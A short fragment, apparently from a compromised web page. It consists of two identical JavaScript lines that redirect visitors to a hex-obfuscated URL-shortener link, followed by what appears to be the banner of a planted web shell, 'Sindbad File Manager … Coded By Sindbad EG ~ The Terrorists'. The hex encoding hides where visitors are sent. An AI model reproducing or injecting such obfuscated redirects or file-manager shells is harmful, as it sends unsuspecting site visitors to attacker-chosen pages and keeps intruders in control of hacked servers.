window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists